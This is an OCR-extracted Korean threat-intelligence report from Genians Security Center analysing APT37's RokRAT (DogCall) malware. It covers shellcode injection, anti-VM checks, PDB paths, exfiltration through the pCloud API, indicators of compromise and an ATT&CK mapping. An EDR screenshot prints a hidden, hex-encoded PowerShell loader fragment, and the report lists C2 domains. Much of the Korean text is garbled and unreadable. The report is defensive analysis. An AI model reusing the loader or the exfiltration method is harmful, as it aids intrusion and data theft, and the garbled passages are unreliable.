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Genians Security Center

("Scripting.FileSystemObject™)

(0)
& "/Syswowe4/mspaint.exe"
(o0, s

(0, "mspaint.exe",

[72] 16] Baseb4 C|R L=l B E oHH

rm
mjo
M
>t
rEI
4n
rF
=
<

BA ZEJ} LI ShellcodeE ‘mspaint.exe’

A AZLCH gARRH 1F 52 0= notepad.exe’ 23 THEO|
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2! 17] Shellcode HHY

S

mET RIS
.i

0| MM Shellcodee L5t 22 FEIO 2 ZHE6}H, Back4app AH|A R
g2l EX I AE(dost.b4al.]app/download.htm)2 FHEES A|=RLICEL J2|1
‘body.table’ IYS CRZE BHL|CH
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M Durmp |

CHRZEL|= 'body.table’ It
LD oEl HENO|, 22 otEl = &5 FL(CH.

M0 Dump 2 il Cump 3 M0 Dump 4 ump & @ ‘Watch 1 Locals <

[0x85], [0xB9], [0x5B], [OXCA] 4HIO|E XOR 7|2

O HSE|= EXE HHIIU2 HEt 22 &4 YEE X1 /o, 32H|E 7|#o 2 43

oA & 32Bit PE EXE File
37| 898,560 HIO|E
e Efe 2023-04-10 06:34:25 (UTC)
MD5 35ac9fbab3caba22c4ca204074cd8c01
SHA256 0c39d978e7e511bfa2eb5d188f8d6b9fe7916ed86e3f907f3a66b
38a0815feb0
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O 'body.table’ It ‘other32.jpg’ OtUDt 20| ROKRAT 7|58 S| Sdlist=
Afo|X|T HEo| PDB(EZIRM H|O|EH|0|A) EXIEES JHX|D UX| A2 20|
Ex|olL|C}. ;_|+:+0| ROKRAT It0| A%t pCloud Access Token 28 g4t SUsH

[12 19] '‘body.table’ IFY pCloud Access Token && o}H

O 'body.table’ I}Z 1t ‘other32.jpg’ ItE 2 &Lt pCloud Access TokenO| AFE5H7|
20| 2AXt= HS| ‘claudiaback0910@yandex.com’ HHE A[{%H 5 Q=
O||_||:|-.

H
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04, 20173 ROKRAT 341 SALE H|ul (Similarity)
a. HEEF I QAT

2= 52 9 ft=2 Aot HEHE UES UL

2.2 2R AR 27 27 EE FHAME M2 280 B2 2H

ot

27| 2e)

i

ST 2 PrE Hote| MEGHD A EA LA LIoF 2 AFE S AU RS U

i}

SHEIEE SHeo=E SO EHAL Sl =HEM HEe 28801 5

=

A sl

oo B H HES ZFED FI=X EEETERS 28T HEARNEE 7,0 T
s EYLICL

[02 20] 2017E HA| 32 0|H|Y otH

O sl O|m|2oll MR U 'SFEO| YD oto|DEY 24 hwp TS CrS 3
22 DEICIOEIS 71X Lo, T hA| T AlD|o| Hgrst ElOlS 2E e 2EY B2
SeLIC
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ot SEHS

-
ol
ol
rot
re
T
to
El
Ofm
-
I_-'-
O
=
©

37| 32,768 HIO|E

%|Z $HAX} | 2017-04-26 23:58:05 (UTC)

MD5 dac8aa9112bf51b88236adec2ddd0869

6e531deb2b3a7b54782d44a1ec2f49b9ff463e76e05d44ee85cc
04e4a8fb380

(£ 06] SEH2| ST AHEAWFH e hwp' THE M F &

O HWP BinData LH£0]| ‘BINOOO1.eps’' ZAE ATZEJ} IotEY QI OMH, LHEO| X2tz
ShellcodeE S3lf C2 AMH{(imuz[.Jcom)A|A] Tulips.gif' O|0|X| ItYS T =SHA| ELICH
O| It HA| ARt O2T| 7|} 2 O|0|X|2 2|2 ROKRAT S FYLILCE.

ﬂJIO

O ‘other32.jpg’ | AIAS HE U ALY HZAL AAY BY S BIOS £HsH
ZEIO] QA0 XISt Y HE Y 4 USLICHL HE0 ROKRAT £7| ZEOA
HIAZ|H Anti-Sandbox, Anti-VM 2|#H1p 2A 23S M 3st= J|50| =X{ELICE
GetModuleHandleA() EH2~E 810 Ittt T2 T30 DL L 2EES HARSIL|CE
DL OUE AHEBFA T2 T2
SbieDlIl.dll SandboxIE
dbghelpdll VMware
api_log.dll
SunBelt Sandbox
dir_watch.dll

[# 07] Anti-VM 7|HS Q|dlj 2tQ15t= DLL It =
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(13 21] AJA® HE(ZEEE, 0|8X1E, BIOS) £7 2

b. PDB EE RAIE

O PDB(Program Database)= T2 1% DO C|HA HEIF ot Q0f, 2bd oh
=, AN BEY 52 ) B 2 /00, QA

T Ay o

HE{Xtol m2 12 Ak SIxlotoH 0f2), o
S S0l Ch3t H|D X2 & JHsLIC

ZolsHH, 2017'3 X7| RHO|M=

[}

=
E
HI|2t M ‘First-Dragon’ 2X}&0|

O

O YUH Visual Studio 2015(VS2015) I H=2

‘HighSchool' £[&¢| SC0AM JHLEHOH, HH

UHE HE UASLICE

Genians Security Center
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Threat Intelligence Report

O 9f 60| X|it 2023H0f| 2242l DogCall (ROKRAT) 59| AR X442 EHHO|
‘Sources' 2 HAH T 2t HAZ20|| 'Group2017' EE7t EXTL|Ct 2017H Xt& o|O0|2

SEet AL 2 T207 AAS XHESH D QCh=

. CD:\H
lgthhﬂﬁlﬁhFralD
. . n 13%First-Drago
Tulips.gif n(V52015)\Sample
“Release'\DogCall
pdb
PDB 2 D:WHighSchoolWversion 13WFirst-
° Dragon(VS$2015)¥#SampleWReleaseDogCall.pdb
X|F £-1LYX} | 2017-04-12 02:57:21 (UTC)
MD5 f28b17886120556c00874b15efad6a76
SHA256 5379740e19b231db6fe94e5bfd838e709ad08ee95bcc535d04d8
5d0617e415fb
[E 08] Tulips.gif Tt A8 HE&
6:15;;Fceaiﬁéiﬁw
. orkh\Group2@17\5a
other32.jpg mple\Release\Dog
Call.pdb
D:¥WSourcesWwMainWorkWGroup2017#WSampleWReleaseWWwDogCa
PDB 32
Il.pdb
X|E ™LX} | 2023-04-11 11:47:53 (UTC)
MD5 6ffa17d5da06a643a2d4231497e66ee
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SHA256

ce36dac3aac334bcd6265f1293862a1e8b7348dd891365aa17bd
0f97ab830451

O 0|2t Aot PDB ZEE
'ErasePartition.pdb’ &
obd 2ME S8 HXl=ls

[# 09] ‘other32.jpg I M8 HE

ES 71 AE2[=2S2 2016ERE TAREH,
FE 1k 2PH /AR LEE O] EXHELICY. EUKICHI

O

=7t Hio|H 2] LR Z2A0] 2[R

‘DocPrint.pdb’,
HWP, DOC, PPT
T MBR IOIE|M Qfoig

L o=

Of1|5h= Wiper 2| b e EXHRLIC
oA = 7| RAFEE AR hwp

Hz e:WHappyWWorkWSourcewversion

c 12WT+MWResult#WDocPrint.pdb

MD5 f28b17886120556c00874b15efad6a7’6

[H10] 2 7[FAMEE 242 hwp' & Solf ZX|El= &I &

oAy 5170101-17\d_238t AlEAA 2M hwp

Hz e:WHappywWWork¥SourceWversion

c 12WT+MWResultWDocPrint.pdb

MD5 44bdeb6c0af7c36a08c64e31ceadcb3c

[H11]'5170101-17F_

=2t~ hwp' & S8l A2l 4dntE H=2

e 22D _OHUEIAE hwp

= E:WHappyWWork¥SourceWversion 12%First-
h DragonwSampleWReleasewDogCall.pdb

MD5 904781cfcc946573bd2bf8882c85edbd

(B 12] ' 5=H

Genians Security Center

1 _QREtEEiANE . hwp' & Solf EX[=l= 90t Z&
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oAy 0| M-0]&3].hwp
Hz E:WHappyWWork¥#SourceWwversion 12¥First-
b DragonwSamplewRelease¥wDogCall.pdb
MD5 16a3f7b7191fc3c70b3a%9aad7dd44a25
[E 13] 'O|HM-0|F5|.hwp' & Soll EX|=l= 4dnrE FE
oAy 179ST 0|2 YU ZHEHES & LI-AM.hwp
= D:¥WHighSchoolWversion 13WFirst-
h Dragon(VS$2015)¥#SampleWReleaseDogCall.pdb
MD5 3b06e73cch903b71f9ff1a60218f4b42
[(E 14] "17E=SZT ~ .hwp' & S A== A-doiE =
U QpA7|E I ABSW 22 HZ(SW).hwp
= D:¥WHighSchoolWversion 13WFirst-
© Dragon(VS2015)¥#SampleWReleaseDogCall.pdb
MD5 ea0da915cd2da86f77d28bb96441ef43
[# 15] ' R27]z =it ~hwp' & Sofl 2X[x= ofdmrE HE
MUY | Ao hwp
A2 D:WHighSchoolwWversion 13WFirst-
© Dragon(VS2015)#SampletReleaseWDogCall.pdb
MD5 be9de72058ba12acad5f4185cd551daf
[E 16] 2Al0LEE hwp' & S0l 2X|=|= ofdotE HE
MUY | 22 Mhwp
5z D:WHighSchoolwversion 13WFirst-

Dragon(VS2015)WSampleW¥ReleaseWDogCall.pdb
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MD5 1a085ef749e2ch832a1ac2aabcc58aef
[E17] 2 2 A & M.hwp' & SdHl EX|=l= 4d0E E=
MUY | 758 ARSE SRR i3 DE"42-1.doc
D:¥WHighSchool#version
a= 13WVC2008(Version15)WT+MWT+MWTMProjectWReleaseWEras
ePartition.pdb
MD5 ce0620a21b0ae4c5a527¢c5379b9d6664
[E 18] 750t ZdX|&%t ~.doc’ & Sl EX|=l= LYIE &
MUY | HEEES XeH otol=2telhwp
A2 D:WHighSchoolwWversion 13WFirst-
c Dragon(VS2015)#SampletReleaseWDogCall.pdb
MD5 f1487347285b392bfc61724111863f91
[E19] II™HEED ~ hwp' & E6ff HX|x|= dod HE
oA =7 I AL hwp
A2 D:WHighSchoolwversion 13WFirst-
b Dragon(VS2015)WSampleWRelease¥wDogCall.pdb
MD5 d716d836a9b904a03886a262f783¢c15f

[# 20] =oAL IALH| hwp' & Sl SX[=l= A-ETHeE FE

IUE Sotoidlals| 20175t et miE A M .hwp

= D:WHighSchoolWversion 13WFirst-

c Dragon(VS2015)WSampleWReleaseWDogCall.pdb
MD5 a36fcd7190b706e0c9eb4ef943db8487
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oAy YUz &IM(108).doc

A2 d:WHighSchool#version

c 13%2ndBDWT+MWT+M¥¥Result#DocPrint.pdb
MD5 71¢c5990bd1c04488b3f99cbebbcbfc19

[E 22] ‘23 2IM(10E).doc’ & S8l AX|x|= &I HE

o HEX| X2, 25 i, 32 HE.doc

A2 d:wHighSchool#version

b 13W2ndBDWT+MWT+MWResult#WDocPrint.pdb
MD5 9ef215b13d1e0140ac563d6cdc7a1495

[B 23] HEHX| XtZ ~ doc’ & Sl 2A|xl= Ao HE
ey 171030_S¢H0| S UHAX| (AR A _LEAI[H|_65(T 2 X| = _&0f)_
=° ZH_S 12 hwp

A2 d:wHighSchool#version

b 13W2ndBDWT+MWT+MWResult¥DocPrint.pdb
MD5 1ebf7d506d83fb5415c890bba175feac

[H 24] "171030_F¢t ~ .hwp' & Sl BX|=|l= Ao HE

o E85ts 2US(S0R) 2 HHFES.hwp

Az d:wHighSchool#version

b 13W2ndBDWT+MWT+MWResult#DocPrint.pdb
MD5 7ca1e08fc07166a440576d1af0a15bb1
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c. & ClO[E =X} fAE

O msf AARIOM +FE CO|HE 23Xt k. 53 api.pcloud.com 2AER
HE(POST)E M Content-TypeZ MP3 IIE= HA[ZLICH J2(11 O|mf A8SH=
multipart/form-data;boundary  O|A|X|0]  ‘--wwjaughalvncjwiajs-  2XI&0|
A& E Lt

Tulips.gif

HI2G2| X8 | wwjaughalvncjwiajs
[H 26] Tulips.gif Tt 2| H|O|E LEXt
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P ; fcon.eed41chde

; 22 ; int3Z_t arg_8h

str.wwjaughalvncjwi

other32.jpg

; int3Z_1

HFRE2| 22Xt | wwjaughalvncjwiajs
[E 27] ‘'other32.jpg THUC| H|O|E| TLEX}
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d. pCloud API SAIE

O 22X =St pCloud SAERL E4AI2 & I AFRSH= APl $40t 5ot 1Mo 2
A& LD USLICt

it

Tulips.gif

other32.jpg
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05. & M2l (Threat Campaigns)
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w
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=
ro
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'c'gEHE |:|-/k EIEMCI-)I %cﬂ S k=1 =2 §+0| HA [e) .|

S22t OfL|2, BEoHe| = AZRTIL ERT1S HTHZ o $|E*E él”é%ﬂ%'—lth

HE20{ {E=2t0|E (onedrive.com) SEIRE
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CHE8M (Conclusion)
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b. Genian EDR A|
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LICH 2 #HmQl2 AHPH-T2iT|2F Powershell

o5t A Ol
o= T Mg

CH

il

t

[e]

N

b

E
[

ol
BT
oF

_

uo
{10

37

0|49l oMl

[m]
=

b

C
[

0l

I
=

Fol| Genian EDR A

tLERILICE. SEX|ZE Genian EDR X|Z0[

XIS}
TZMA EE|QL A

_

o}
! https://www.genians.co.kr/products/genian-edr/

Genians Security Center
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AED| 2IRIZ Bl RUE R 2 QUXIotn g e THMQl JtAEE =St
S A5H=0 f&¢t Jt0|E2 EEELICt

N E MR 11 network event
——_ owiguing

I TTECTET
DESKTOP-wmasmr \ 5% . % o
aEw o) e, — 8
winiogenere | KB %) o,
.......... Explorer EXE O
s A
e 0%
: L9
& powérshell.exe \ \ Q: A
4 module event \| emdewe \
o> o L G
@ % 5 9 P—
.. Hvp cmd.exe 04 network ever ° :
module event :
| - of ) et Type (3
‘ , @ i S
shewent @ / module eve oy — @ o %
e o A £ - 4 wA Az
: | @ = g T
imTraylcor = = o ag
had 43 file ove 3 file avent B m

[22] 23] Genian EDR ?I® BX| AE2| 221 5} (OFAE X|5)

OH
X
Ral
rr

EIX| =8 £|ASISIY| Q8 Powershell HIHE 2f0lof| HiO|HZ| 22
H|, Genian EDR XMIZE2 diE HWHO{(Command Execution)2t LHER3
(Network Connection Creation) 52| H|O|Ef AALI AXHEE £EI5I X7| &3

Sl 2418 2 YBLIC

x
el
rir

oM ol re O
N P 22

i
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Threat Intelligence Report

powershell.exe 11 network event

process g

powershell.exe a EZ A

2023-05-15 08:22:24  ProcessStart M 74.120.9.90:443 (4 3) a-

e

T =

T8 R HEHI SE Fr
Event Time  2023-05-15 08:22:24 ~ 2023-05-15 08:29:59 Event Time  2023-05-15 08:23:35 ~ 2023-05-15 08:24:39
78 S0 E3tgh g S gda)

Event Type ProcessStart @ Events Time 2023-05-15 08:22:31 ~ 2023-05-15 08:29:59

Process Name powershellexe % ot
Process Path  C:WWindowsWSysWOWe4#WindowsPowerShel l#v1.0% Event Type NetworkConnect @
powershell.exe

Process ID 4700 @ 5260

Process Name powershellexe B
DNS Name api.pcloud.com

Process User ID user Protocol TCP e
Integrity Level MEDIUM Direction out

Command Line Connection

powershell -windowstyle hidden -command "$pull :
="$saint=""5B4E65742E53657276696365506F696ET44D616E6167657 Conn/Disconn &/8
25D3A3A5365637572697479507 26F T46F636F6C 3DSBA56E7560503A3 0 10.211.1.22:50900
AS546FAF626A656374285B4E65742E536563757 2697479507 26F746F636
FeC54797065502C203330373229382461613D2758446C6C496D706F7
27428226B65726E656C33322E646C6C22295D7075626C696320737461

120.9.90:44
7469632065787465726E20496E7450747220476C6F62616C416C6C6F6 © M_”“ggu 2E
32875696E7420622C75696E7420632938273824623D4164642D547970 @ api.pcloud.com
65202D4D656D626572446566696E6974696F6E20246161 202D4E616D
. Detect Type  [E10)
Tag -
A BlOS YsislMe
Custom Tag 11 Yistda Custom Tag
e x e
Y e e =
File N hell.
He Tame . BRI AZ 2023-05-15 08:23:35
File Type PE
°X A EY oot
MD5 5b16d54f2ae6b74dcf863bc0f5e502b5
SHAZ56 fecd3dccd13e969de19d329cade15cab67dasdaalf7e2e e
5d96eafbe3dadabach g0 ~3YEE 08T HEHS FS

Create Time  2019-12-07 18:10:47 (SuspiciousNetworkingByScript) @
Modify Time  2019-12-07 18:10:47 = =] powershell.exe
Drive Type FIXED N 100%
oY ALK HE MITRE ATT&CK
2% DY POWERSHELL ASREES 0|83 YESYS HS
HEH Microsoft® Windows® Operating System (SuspiciousNetworkingByScript)
£k Windows PowerShell MHE 5 A3UY BAE Z2H A HEHIE ARG AL,
HH 10.0.19041.1 Exploit0ll 2|8 4WE ASTUET} Q50N UE IYS

Gezcdteie AR 7HsH0l 5O =3, AEUHA
A Microsoft Corporation ASTUEE 20 MBE|UM LB Fileless S4B 0]
¢of English Rule®fl 2|8 FITHEICH
A © Microsoft Corporation. All rights reserved. AR 23YYS2E T2M 2 (powershell.exe, wscriptexe,
oF7|4H 86 cmdexe 5)0| HEYAUS A St BY

oF: ¢ H IS,
EXE EHY EXE
TR

=

MY g o y3a

[1% 24] Genian EDR £240|M & X|El Powershell &2} pCloud 4! O[HIE 33

—
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07.

%8l X|& (Indicator of Compromise)
a. =8 MD5 Hash

- f948adbdfd39c63d226b0699c8b84bf0
- 85e71578ad7fea3c15095b6185b14881
- be32725e676d49eaa11ff51c61f18907
- 657fd7317ccde5a0e0c182a626951a9f
- 8f106544bfd4755d17a3530646664264a
- e233e4da734f75388b40fed1717bfbba
- 2a8ba%a029fa98b868be66b7d46€927b
- 0f5eeb23d701a2b342fc15aa90d97ae0
- a8a82038d1a91e9fdf538cb765d1be66
- 1b046ab2261bc0dc5c6cd999f9a8b1c6
- 59¢146243f3b9315c71cacdaf838ddd5
- ebfc86a7bae1e2269d543dfe83fd6625
- cfe96e925f8bfbe7ace33ddd41ead1fb

- 445e7fd6bb684420d6b8523fe0c55228
- 74e3d84492845067a0dabcfa00c064eb

b. B} o[ F

- claudiaback0910@yandex[.Jcom
- pardonsingh@yandex[.Jcom
- njrntop@gmail[.Jcom

c. FH|0{(C2) TAE MH

- dost.b4al.]app
- docx1.b4a[.]app
- filestorage.b4al.]app
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Threat Intelligence Report

08. 224 X|HE (Indicator of Attack)
a. MITRE ATT&CK? Matrix - APT372 Group Descriptions

Tactic Technique Description

Phishing for Information:

T71598.002
- Spearphishing Attachment

Reconnaissance — :
Phishing for Information:

Spearphishing Link
11566.001 Phishing: Spearphishing Attachment

11598.003

Initial Access

11566.002 Phishing: Spearphishing Link
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter:
- PowerShell

Execution Command and Scripting Interpreter:
T1 .
11059.003 Windows Command Shell
T1059.005 C'ommand.and Scripting Interpreter:
- Visual Basic
T1027.003 Obfuscated Files or Information:
- Steganography
T1027.009 Obfuscated Files or Information:

Embedded Payloads

Defense Evasion Obfuscated Files or Information:

71027.010

— Command Obfuscation

11055 Process Injection

T1497.001 Virtualization/Sandbox Evasion:

- System Checks

11082 System Information Discovery
Discovery

71083 File and Directory Discovery

2 ATT&CK : The Adversarial Tactics, Techniques, and Common Knowledge

3 https://attack.mitre.org/groups/G0067/
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https://attack.mitre.org/techniques/T1598/002/
https://attack.mitre.org/techniques/T1598/003/
https://attack.mitre.org/techniques/T1566/001/
https://attack.mitre.org/techniques/T1566/002/
https://attack.mitre.org/techniques/T1204/002/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/techniques/T1059/005/
https://attack.mitre.org/techniques/T1027/003/
https://attack.mitre.org/techniques/T1027/009/
https://attack.mitre.org/techniques/T1027/010/
https://attack.mitre.org/techniques/T1055/
https://attack.mitre.org/techniques/T1497/001/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1083/

Threat Intelligence Report

Control

71005 Data from Local System
Collection
11113 Screen Capture
Command and :
11001.002 Data Obfuscation: Steganography

Exfiltration T1567.002

Exfiltration Over Web Service:
Exfiltration to Cloud Storage

[# 30] MITRE ATT&CK, Tactics and Techniques

09. At X2 (Reference)

- 23 m(* Ink)2 El| S X L|= RokRAT & ACE

- MAR-10160323-1.v2

- Retrohunting APT37: North Korean APT used VBA self decode technique to

inject RokRat

- North Korean BLUELIGHT Special: InkySquid Deploys RokRAT

- CHAIN REACTION: ROKRAT'S MISSING LINK

- APT375t %8 E5CEB T & RoKRATRY B3 22 & B) 34T

- The ink-stained trail of GOLDBACKDOOR
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https://attack.mitre.org/techniques/T1005/
https://attack.mitre.org/techniques/T1113/
https://attack.mitre.org/techniques/T1001/002/
https://attack.mitre.org/techniques/T1567/002/
https://asec.ahnlab.com/ko/51628/
https://www.cisa.gov/news-events/analysis-reports/ar20-133d
https://www.malwarebytes.com/blog/news/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat
https://www.malwarebytes.com/blog/news/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat
https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/
https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/
https://mp.weixin.qq.com/s/iCFz9vhYGxz0cd8_0-PhDQ
https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf

